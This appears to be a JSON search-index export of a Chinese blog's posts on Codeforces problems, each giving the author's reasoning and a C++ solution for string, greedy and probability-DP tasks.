5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33string ori,tar; 34int main() 35{ 36 #ifndef ONLINE_JUDGE 37 freopen(\"code/in.txt\",\"r\",stdin); 38 #endif 39 cin\u003e\u003eori\u003e\u003etar; 40 int p = ori.find(tar); 41 int ans = 0 ; 42 int lst = 0; 43 while (p!=-1) 44 { 45 ans++; 46 ori[p]='#'; 47 lst = p + tar.length()-1; 48 ori[lst]='#'; 49 50 p = ori.find(tar,lst); 51 } 52 cout\u003c\u003cans\u003c\u003cendl; 53 54 #ifndef ONLINE_JUDGE 55 fclose(stdin); 56 #endif 57 return 0; 58}","date":"2016-02-07","externalUrl":null,"permalink":"/2016/02/cf625b/","section":"Posts","summary":"http://codeforces.com/contest/625/problem/B 题意：给出两个字符串，问要替换掉多少个字符才能使得前者中不包含后者。 思路：直接搞…找到一个把收尾替换成‘#’,然后下次从该位置继续开始找，直到找不到。","tags":["字符串"],"title":"codeforces #342 div 2 B. War of the Corporations","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/contest/625/problem/A 题意：有n块钱，塑料瓶饮料a元一瓶，玻璃瓶饮料b元一瓶，退还玻璃瓶可以得到c元。问最多能买多少瓶饮料。 思路：贪心。如果塑料瓶比玻璃瓶的实际价格便宜，那么一定买塑料瓶的，否则先买玻璃瓶，再用塑料瓶填。注意一些边界的判断。。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年02月07日 星期日 17时02分32秒 4File Name :code/cf/#342/A.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33LL a,b,c,n; 34int main() 35{ 36 #ifndef ONLINE_JUDGE 37// freopen(\"code/in.txt\",\"r\",stdin); 38 #endif 39 40 cin\u003e\u003en; 41 cin\u003e\u003ea\u003e\u003eb\u003e\u003ec; 42 LL ans=0; 43 if (b-c\u003ea) 44 { 45 ans = n/a; 46 } 47 else 48 { 49 while (n-b\u003e=b-c) 50 { 51 LL tmp = (n-b)/(b-c); 52 ans += tmp; 53 n-=tmp*(b-c); 54 55 } 56 57 while (n\u003e=b) 58 { 59 LL tmp =n/b; 60 ans +=tmp; 61 n-=tmp*(b-c); 62 } 63 64 65 ans +=n/a; 66 } 67 68 cout\u003c\u003cans\u003c\u003cendl; 69 70 #ifndef ONLINE_JUDGE 71 fclose(stdin); 72 #endif 73 return 0; 74}","date":"2016-02-07","externalUrl":null,"permalink":"/2016/02/codeforces-342-div-2-a-guest-from-the-past/","section":"Posts","summary":"http://codeforces.com/contest/625/problem/A 题意：有n块钱，塑料瓶饮料a元一瓶，玻璃瓶饮料b元一瓶，退还玻璃瓶可以得到c元。问最多能买多少瓶饮料。 思路：贪心。如果塑料瓶比玻璃瓶的实际价格便宜，那么一定买塑料瓶的，否则先买玻璃瓶，再用塑料瓶填。注意一些边界的判断。。","tags":["math"],"title":"codeforces #342 div 2 A. Guest From the Past","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/problemset/problem/148/D # 题意：盒子里有w只白老鼠，b只黑老鼠，公主和魔王轮流取（公主先），先取到白老鼠的人获胜。魔王每次取完以后，盒子中的老鼠会因为吓尿了跑掉一只，跑掉的老鼠不算任何人取的。问公主获胜的概率。 思路：概率dp.. dp[i][j]表示有i只白老鼠，j只黑老鼠的时候公主获胜的概率。 # 转移方程 # 11. 公主抽到白老鼠（之后龙不必再抽） 胜率为i/(i+j)*1 22. 公主抽到黑老鼠，龙抽到黑老鼠，跳出一只黑老鼠，胜率为j/(i+j) * (j-1)/(i+j-1) * (j-2)/(i+j-2) * f[i][j-3] (j\u003e=3) 33. 公主抽到黑老鼠，龙抽到黑老鼠，跳出一只白老鼠，胜率为j/(i+j) * (j-1)/(i+j-1) * (i/(i+j-2) * f[i-1][j-2] (j\u003e=2) 44. 龙抽到白老鼠，胜率为0 5 6 7 8 9 10 11 12 13 14/* *********************************************** 15Author :111qqz 16Created Time :2016年02月04日 星期四 02时44分23秒 17File Name :code/cf/problem/148D.cpp 18************************************************ */ 19 20#include \u003ccstdio\u003e 21#include \u003ccstring\u003e 22#include \u003ciostream\u003e 23#include \u003calgorithm\u003e 24#include \u003cvector\u003e 25#include \u003cqueue\u003e 26#include \u003cset\u003e 27#include \u003cmap\u003e 28#include \u003cstring\u003e 29#include \u003ccmath\u003e 30#include \u003ccstdlib\u003e 31#include \u003cctime\u003e 32#define fst first 33#define sec second 34#define lson l,m,rt\u003c\u003c1 35#define rson m+1,r,rt\u003c\u003c1|1 36#define ms(a,x) memset(a,x,sizeof(a)) 37typedef long long LL; 38#define pi pair \u003c int ,int \u003e 39#define MP make_pair 40 41using namespace std; 42const double eps = 1E-8; 43const int dx4[4]={1,0,0,-1}; 44const int dy4[4]={0,-1,1,0}; 45const int inf = 0x3f3f3f3f; 46const int N=1E3+7; 47int w,b; 48double dp[N][N]; 49int main() 50{ 51 #ifndef ONLINE_JUDGE 52 freopen(\"code/in.txt\",\"r\",stdin); 53 #endif 54 cin\u003e\u003ew\u003e\u003eb; 55 56 ms(dp,0); 57 //dp[i][j]表示有i个白球,j个黑球的时候公主获胜的概率。 58 for ( int i = 1 ; i \u003c= w ; i++) dp[i][0] = 1; 59 for ( int j = 1 ; j \u003c= b ; j++) dp[0][j]= 0 ; 60 61 for ( int i = 1 ; i \u003c= w ; i ++) 62 { 63 for ( int j = 1 ; j \u003c= b ; j++) 64 { 65 double x = i*1.0; 66 double y = j*1.0; 67 68 dp[i][j]+=x/(x+y); 69 if (j\u003e=3) dp[i][j] +=y/(x+y)*(y-1)/(x+y-1)*(y-2)/(x+y-2)*dp[i][j-3]; 70 71 if (j\u003e=2) dp[i][j] +","date":"2016-02-03","externalUrl":null,"permalink":"/2016/02/cf148d/","section":"Posts","summary":"http://codeforces.com/problemset/problem/148/D # 题意：盒子里有w只白老鼠，b只黑老鼠，公主和魔王轮流取（公主先），先取到白老鼠的人获胜。魔王每次取完以后，盒子中的老鼠会因为吓尿了跑掉一只，跑掉的老鼠不算任何人取的。问公主获胜的概率。","tags":["dp","概率"],"title":"codeforces 148 D. Bag of mice","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/problemset/problem/107/B 题意：有m个部门，每个部分s[i]个人，HW在第h部门，现在要从这m个部门中挑选包括HW在内的n个人去参加比赛，问被挑选的人中有HW的队友（同部门的人）的概率是多少。如果m个部分的人数不够组成n人的球队，输出-1. # 思路：考虑一般情况。至少有一个队友的情况较多，应该从反面考虑，即没有一个队友的情况。选完HW以后面临的状态是：事件总数为从total(m个部门的人员之和)-1个人中选n-1个的方案数，包含的事件数目为从a(a=total-s[h])中选n-1个人包含的方案数。 可以看出分母相同，可以约掉。 # 然后对于边界情况，首先判断total是否比n小。然后，如果a\u003cn-1,表示除去HW所在的h部分之外的人不可能组成n-1个人，也就是一定要选择HW的队友，概率为1. 1/* *********************************************** 2Author :111qqz 3Created Time :2016年02月03日 星期三 17时56分30秒 4File Name :code/cf/problem/107B.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int M=1E3+7; 34int n ,m,h; 35int s[M]; 36int main() 37{ 38 #ifndef ONLINE_JUDGE 39 freopen(\"code/in.txt\",\"r\",stdin); 40 #endif 41 42 cin\u003e\u003en\u003e\u003em\u003e\u003eh; 43 for ( int i = 1 ; i \u003c= m ; i++) cin\u003e\u003es[i]; 44 45 double total = 0; 46 for ( int i =1 ; i \u003c= m ; i++) 47 { 48 total+=s[i]; 49 } 50 if (total\u003cn) 51 { 52 puts(\"-1\"); 53 return 0; 54 } 55 total--; 56 n--; 57 s[h]--; //减去那个人。 58 double a = total - s[h]; 59 double ans = 1.0; 60// cout\u003c\u003c\"total:\"\u003c\u003ctotal\u003c\u003c\" a:\"\u003c\u003ca\u003c\u003cendl; 61 if (a\u003cn) //s[h]队外的人无法满足剩余的要求。 62 { 63 puts(\"1\"); 64 return 0; 65 } 66 for ( int i = 1 ; i \u003c= n ; i++) 67 { 68 ans = ans *(a*1.0/total*1.0); 69//","date":"2016-02-03","externalUrl":null,"permalink":"/2016/02/codeforces-107-b-basketball-team/","section":"Posts","summary":"http://codeforces.com/problemset/problem/107/B 题意：有m个部门，每个部分s[i]个人，HW在第h部门，现在要从这m个部门中挑选包括HW在内的n个人去参加比赛，问被挑选的人中有HW的队友（同部门的人）的概率是多少。如果m个部分的人数不够组成n人的球队，输出-1. # 思路：考虑一般情况。至少有一个队友的情况较多，应该从反面考虑，即没有一个队友的情况。选完HW以后面临的状态是：事件总数为从total(m个部门的人员之和)-1个人中选n-1个的方案数，包含的事件数目为从a(a=total-s[h])中选n-1个人包含的方案数。 可以看出分母相同，可以约掉。 # 然后对于边界情况，首先判断total是否比n小。然后，如果a\u003cn-1,表示除去HW所在的h部分之外的人不可能组成n-1个人，也就是一定要选择HW的队友，概率为1.","tags":["math","概率"],"title":"codeforces 107 B. Basketball Team","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/problemset/problem/518/D 题意：有n个人排队上一个电梯。。。在某一秒内，队首的人有p的概率上电梯，1-p的概率不动。每个人只有在队首的位置才可以上电梯（也就是每一秒内，最多只有一个人可以上电梯）。电梯无线长（也就是上了电梯就不会离开了），问在第t秒的时候，电梯上的人的个数的数学期望是多少。 # 思路：一开始推公式的我还是图样。这题是dp.其实也不难想。dp[i][j]表示第i秒时电梯上有j个人的概率。 当j==n的时候，也就是所以人都上了电梯以后。dp[i+1][j]+=dp[i][j],对于其他时刻 dp[i+1][j+1]+=dp[i][j]p,dp[i+1][j]+=dp[i][j](1-p). 初始化dp[0][0]=1,即0时刻电梯上有0个人的概率为1. # 1/* *********************************************** 2Author :111qqz 3Created Time :2016年02月02日 星期二 15时57分06秒 4File Name :code/cf/518D.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=2E3+7; 34int n,t; 35double p; 36double dp[N][N]; 37int main() 38{ 39 #ifndef ONLINE_JUDGE 40 freopen(\"code/in.txt\",\"r\",stdin); 41 #endif 42 ms(dp,0); 43 dp[0][0] = 1; 44 cin\u003e\u003en\u003e\u003ep\u003e\u003et; 45 for ( int i = 0 ; i \u003c= t ; i++) 46 { 47 for ( int j = 0 ; j \u003c= n ; j++) 48 { 49 if (j==n) 50 { 51 dp[i+1][j]+=dp[i][j]; 52 } 53 else 54 { 55 dp[i+1][j+1]+=dp[i][j]*p; 56 dp[i+1][j]+=dp[i][j]*(1-p); 57 } 58 } 59 } 60 double ans = 0 ; 61 for ( int j = 1 ; j \u003c= n ; j++) 62 ans +=j*dp[t][j]; 63 64 printf(\"%.12f\\n\",ans); 65 66 #ifndef ONLINE_JUDGE 67 fclose(stdin); 68 #endif 69 return 0; 70}","date":"2016-02-02","externalUrl":null,"permalink":"/2016/02/cf518/","section":"Posts","summary":"http://codeforces.com/problemset/problem/518/D 题意：有n个人排队上一个电梯。。。在某一秒内，队首的人有p的概率上电梯，1-p的概率不动。每个人只有在队首的位置才可以上电梯（也就是每一秒内，最多只有一个人可以上电梯）。电梯无线长（也就是上了电梯就不会离开了），问在第t秒的时候，电梯上的人的个数的数学期望是多少。 # 思路：一开始推公式的我还是图样。这题是dp.其实也不难想。dp[i][j]表示第i秒时电梯上有j个人的概率。 当j==n的时候，也就是所以人都上了电梯以后。dp[i+1][j]+=dp[i][j],对于其他时刻 dp[i+1][j+1]+=dp[i][j]p,dp[i+1][j]+=dp[i][j](1-p). 初始化dp[0][0]=1,即0时刻电梯上有0个人的概率为1. # 1/* *********************************************** 2Author :111qqz 3Created Time :2016年02月02日 星期二 15时57分06秒 4File Name :code/cf/518D.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=2E3+7; 34int n,t; 35double p; 36double dp[N][N]; 37int main() 38{ 39 #ifndef ONLINE_JUDGE 40 freopen(\"code/in.txt\",\"r\",stdin); 41 #endif 42 ms(dp,0); 43 dp[0][0] = 1; 44 cin\u003e\u003en\u003e\u003ep\u003e\u003et; 45 for ( int i = 0 ; i \u003c= t ; i++) 46 { 47 for ( int j = 0 ; j \u003c= n ; j++) 48 { 49 if (j==n) 50 { 51 dp[i+1][j]+=dp[i][j]; 52 } 53 else 54 { 55 dp[i+1][j+1]+=dp[i][j]*p; 56 dp[i+1][j]+=dp[i][j]*(1-p); 57 } 58 } 59 } 60 double ans = 0 ; 61 for ( int j = 1 ; j \u003c= n ; j++) 62 ans +=j*dp[t][j]; 63 64 printf(\"%.12f\\n\",ans); 65 66 #ifndef ONLINE_JUDGE 67 fclose(stdin); 68 #endif 69 return 0; 70}","tags":["dp","概率"],"title":"codeforces 518  D. Ilya and Escalator","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/problemset/problem/312/B # 题意：两个人比赛射箭，先射的人射中的概率是a/b,后射的人射中的概率是c/d,问先射的人赢的概率。 思路：应该叫条件概率。。。？ 不过我们可以用古典概型的思维想。每射一次看成一个点，射中的点用白色表示，没有射中的用黑色表示。如果两个人第i次都没有射中，那么就要继续第i+1 轮，而第i+1轮和之前的每一轮是独立的。等于重复这个过程。所以古典概型的样本总量应该减去宝石两个人都没有射中的点的个数，为bd-(b-a)(d-c)，整理为bc+ad-a*c，设为n.要想第一个人赢，那么对于某一次，只要不是第一个人没射中，第二个人射中这种情况，就都是第一个人赢。而第一个人没射中的事件数为b-a,第二个人射中的事件数为c,总数为（b-a）*c，所以答案为(n-(b-a)*c)/n 1/* *********************************************** 2Author :111qqz 3Created Time :2016年02月02日 星期二 15时57分06秒 4File Name :code/cf/518D.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=2E3+7; 34int n,t; 35double p; 36double dp[N][N]; 37int main() 38{ 39 #ifndef ONLINE_JUDGE 40 freopen(\"code/in.txt\",\"r\",stdin); 41 #endif 42 ms(dp,0); 43 dp[0][0] = 1; 44 cin\u003e\u003en\u003e\u003ep\u003e\u003et; 45 for ( int i = 0 ; i \u003c= t ; i++) 46 { 47 for ( int j = 0 ; j \u003c= n ; j++) 48 { 49 if (j==n) 50 { 51 dp[i+1][j]+=dp[i][j]; 52 } 53 else 54 { 55 dp[i+1][j+1]+=dp[i][j]*p; 56 dp[i+1][j]+=dp[i][j]*(1-p); 57 } 58 } 59 } 60 double ans = 0 ; 61 for ( int j = 1 ; j \u003c= n ; j++) 62 ans +=j*dp[t][j]; 63 64 printf(\"%.12f\\n\",ans); 65 66 #ifndef ONLINE_JUDGE 67 fclose(stdin); 68 #endif 69 return 0; 70}","date":"2016-02-02","externalUrl":null,"permalink":"/2016/02/cf312b/","section":"Posts","summary":"http://codeforces.com/problemset/problem/312/B # 题意：两个人比赛射箭，先射的人射中的概率是a/b,后射的人射中的概率是c/d,问先射的人赢的概率。 思路：应该叫条件概率。。。？ 不过我们可以用古典概型的思维想。每射一次看成一个点，射中的点用白色表示，没有射中的用黑色表示。如果两个人第i次都没有射中，那么就要继续第i+1 轮，而第i+1轮和之前的每一轮是独立的。等于重复这个过程。所以古典概型的样本总量应该减去宝石两个人都没有射中的点的个数，为bd-(b-a)(d-c)，整理为bc+ad-a*c，设为n.要想第一个人赢，那么对于某一次，只要不是第一个人没射中，第二个人射中这种情况，就都是第一个人赢。而第一个人没射中的事件数为b-a,第二个人射中的事件数为c,总数为（b-a）*c，所以答案为(n-(b-a)*c)/n","tags":["math","概率"],"title":"codeforces 312 B. Archer","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/problemset/problem/453/A 题意：m面筛子，每面点数出现的概率相同，连续投掷n次，问出现的最大值的数学期望。 思路：手写样例。。。发现答案为 。。。记得把（1/m）^n放进去。 观察答案，可以这样理解（我是用样例推出公式后理解。。。数学差的人心好累）：如果i为最大值，那么n次每次必须投掷出1..i的点数，概率为 (i/m)^n,但是要至少有一个投掷成i，也就是要减去所有的数都是1..i-1中的情况（概率 为((i-1)/m)^n）， 1/* *********************************************** 2Author :111qqz 3Created Time :2016年02月02日 星期二 05时17分24秒 4File Name :code/cf/problem/453A.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E5+7; 34double ans; 35int n ,m; 36double p1[N],p2[N]; 37int main() 38{ 39 #ifndef ONLINE_JUDGE 40 freopen(\"code/in.txt\",\"r\",stdin); 41 #endif 42 43 cin\u003e\u003em\u003e\u003en; 44 ans = 0; 45 for ( int i = 1 ; i \u003c= m ; i++) 46 { 47 ans +=i*(pow(i*1.0/m,n*1.0)-pow((i-1)*1.0/m,n*1.0)); 48 } 49 printf(\"%.10f\\n\",ans); 50 51 #ifndef ONLINE_JUDGE 52 fclose(stdin); 53 #endif 54 return 0; 55}","date":"2016-02-01","externalUrl":null,"permalink":"/2016/02/cf543a/","section":"Posts","summary":"http://codeforces.com/problemset/problem/453/A 题意：m面筛子，每面点数出现的概率相同，连续投掷n次，问出现的最大值的数学期望。 思路：手写样例。。。发现答案为 。。。记得把（1/m）^n放进去。","tags":["math","概率"],"title":"codeforces 453 A. Little Pony and Expected Maximum","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/problemset/problem/476/B 题意：给出两个长度相等-且不超过10的字符串，串1只包含‘-’,’+‘。按照‘+’为1，‘-’为-1累加可以得到一个值。串2还包含若干‘？’，代表该处的值不确定，且为’+‘和’-‘的概率相等，都是0.5.问串2的值和串1相等的概率。 思路：我们可以扫一遍得到‘？’的个数和两个式子的差值。设问号个数为a,差值为b，那么在a个问号中需要有(a-b)/2个为‘+’（容易知道，a,b一定奇偶性相同，所以a-b一定能被2整除），根据超几何分布，概率为 c[a][(a-b)/2]*(1/2)^a; 写的时候可以先打个组合数的表。1A,开心。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年02月02日 星期二 03时32分39秒 4File Name :code/cf/problem/476B.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33string s1,s2; 34int len; 35int c[20][20]; 36void pre() 37{ 38 ms(c,0); 39 c[1][1] = 1; 40 c[1][2] = 1; 41 c[2][1] = 1; 42 c[2][2] = 2; 43 c[2][3] = 1; 44 for ( int i =3 ; i \u003c=15 ; i++) 45 for ( int j = 0 ; j \u003c= i ; j++) 46 c[i][j+1] = c[i-1][j+1]+c[i-1][j]; 47} 48int main() 49{ 50 #ifndef ONLINE_JUDGE 51 freopen(\"code/in.txt\",\"r\",stdin); 52 #endif 53 pre(); 54 55 cin\u003e\u003es1\u003e\u003es2; 56 len = s1.length(); 57 int a=0,b=0; 58 for ( int i = 0 ; i \u003c len ; i++) 59 { 60 if (s2[i]=='?') a++; 61 if (s1[i]=='+') b++; 62 else b--; 63 if (s2[i]=='+') b--; 64 else if (s2[i]=='-') b++; 65 } 66// cout\u003c\u003c\"a:\"\u003c\u003ca\u003c\u003cendl; 67// cout\u003c\u003c\"b:\"\u003c\u003cb\u003c\u003cendl; 68 if (a==0) 69 { 70 if (b==0) puts(\"1\"); 71 else puts(\"0\");","date":"2016-02-01","externalUrl":null,"permalink":"/2016/02/cf476b/","section":"Posts","summary":"http://codeforces.com/problemset/problem/476/B 题意：给出两个长度相等-且不超过10的字符串，串1只包含‘-’,’+‘。按照‘+’为1，‘-’为-1累加可以得到一个值。串2还包含若干‘？’，代表该处的值不确定，且为’+‘和’-‘的概率相等，都是0.5.问串2的值和串1相等的概率。 思路：我们可以扫一遍得到‘？’的个数和两个式子的差值。设问号个数为a,差值为b，那么在a个问号中需要有(a-b)/2个为‘+’（容易知道，a,b一定奇偶性相同，所以a-b一定能被2整除），根据超几何分布，概率为 c[a][(a-b)/2]*(1/2)^a; 写的时候可以先打个组合数的表。1A,开心。","tags":["math","概率"],"title":"codeforces 476 B. Dreamoon and WiFi","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/contest/621/problem/A A. Wet Shark and Odd and Even time limit per test 2 seconds memory limit per test 256 megabytes input standard input output standard output Today, Wet Shark is given n integers. Using any of these integers no more than once, Wet Shark wants to get maximum possible even (divisible by 2) sum. Please, calculate this value for Wet Shark. Note, that if Wet Shark uses no integers from the n integers, the sum is an even integer 0. Input The first line of the input contains one integer, n (1 ≤ n ≤ 100 000). The next line contains n space separated integers given to Wet Shark. Each of these integers is in range from 1 to 109, inclusive. Output Print the maximum possible even sum that can be obtained if we use some of the given integers. Sample test(s) input 3 1 2 3 output 6 input 5 999999999 999999999 999999999 999999999 999999999 output 3999999996 Note In the first sample, we can simply take all three integers for a total sum of 6. In the second sample Wet Shark should take any four out of five integers 999 999 999. 题意,n个数，每个数最多使用一次，问能得到的最大的偶数和是多少。 思路：偶数不影响。偶数个奇数和还是偶数，不影响。奇数个奇数的时候把最小的奇数拿出来。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年01月31日 星期日 22时02分34秒 4File Name :code/cf/#341/A.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using na","date":"2016-02-01","externalUrl":null,"permalink":"/2016/02/cf621a/","section":"Posts","summary":"http://codeforces.com/contest/621/problem/A A. Wet Shark and Odd and Even time limit per test 2 seconds memory limit per test 256 megabytes input standard input output standard output Today, Wet Shark is given n integers. Using any of these integers no more than once, Wet Shark wants to get maximum possible even (divisible by 2) sum. Please, calculate this value for Wet Shark.","tags":["brute force"],"title":"codeforces #341 div2 A. Die Roll","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/contest/621/problem/B B. Wet Shark and Bishops time limit per test 2 seconds memory limit per test 256 megabytes input standard input output standard output Today, Wet Shark is given n bishops on a 1000 by 1000 grid. Both rows and columns of the grid are numbered from 1 to 1000. Rows are numbered from top to bottom, while columns are numbered from left to right. Wet Shark thinks that two bishops attack each other if they share the same diagonal. Note, that this is the only criteria, so two bishops may attack each other (according to Wet Shark) even if there is another bishop located between them. Now Wet Shark wants to count the number of pairs of bishops that attack each other. Input The first line of the input contains n (1 ≤ n ≤ 200 000) — the number of bishops. Each of next n lines contains two space separated integers x__i and y__i (1 ≤ x__i, y__i ≤ 1000) — the number of row and the number of column where i-th bishop is positioned. It’s guaranteed that no two bishops share the same position. Output Output one integer — the number of pairs of bishops which attack each other. Sample test(s) input 5 1 1 1 5 3 3 5 1 5 5 output 6 input 3 1 1 2 3 3 5 output 0 Note In the first sample following pairs of bishops attack each other: (1, 3), (1, 5), (2, 3), (2, 4), (3, 4) and (3, 5). Pairs (1, 2),(1, 4), (2, 5) and (4, 5) do not attack each other because they do not share the same diagonal. 题意：给出n个点，问在同一对角线上的有多少对。 思路：同一对角线上恒纵坐标和相同或者差相同。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年01月31日 星期日 22时02分40秒 4File Name :code/cf/#341/B.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#inc","date":"2016-02-01","externalUrl":null,"permalink":"/2016/02/cf621b/","section":"Posts","summary":"http://codeforces.com/contest/621/problem/B B. Wet Shark and Bishops time limit per test 2 seconds memory limit per test 256 megabytes input standard input output standard output Today, Wet Shark is given n bishops on a 1000 by 1000 grid. Both rows and columns of the grid are numbered from 1 to 1000. Rows are numbered from top to bottom, while columns are numbered from left to right.","tags":["brute force"],"title":"codeforces #341 div 2 B. Wet Shark and Bishops","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/contest/621/problem/C C. Wet Shark and Flowers time limit per test 2 seconds memory limit per test 256 megabytes input standard input output standard output There are n sharks who grow flowers for Wet 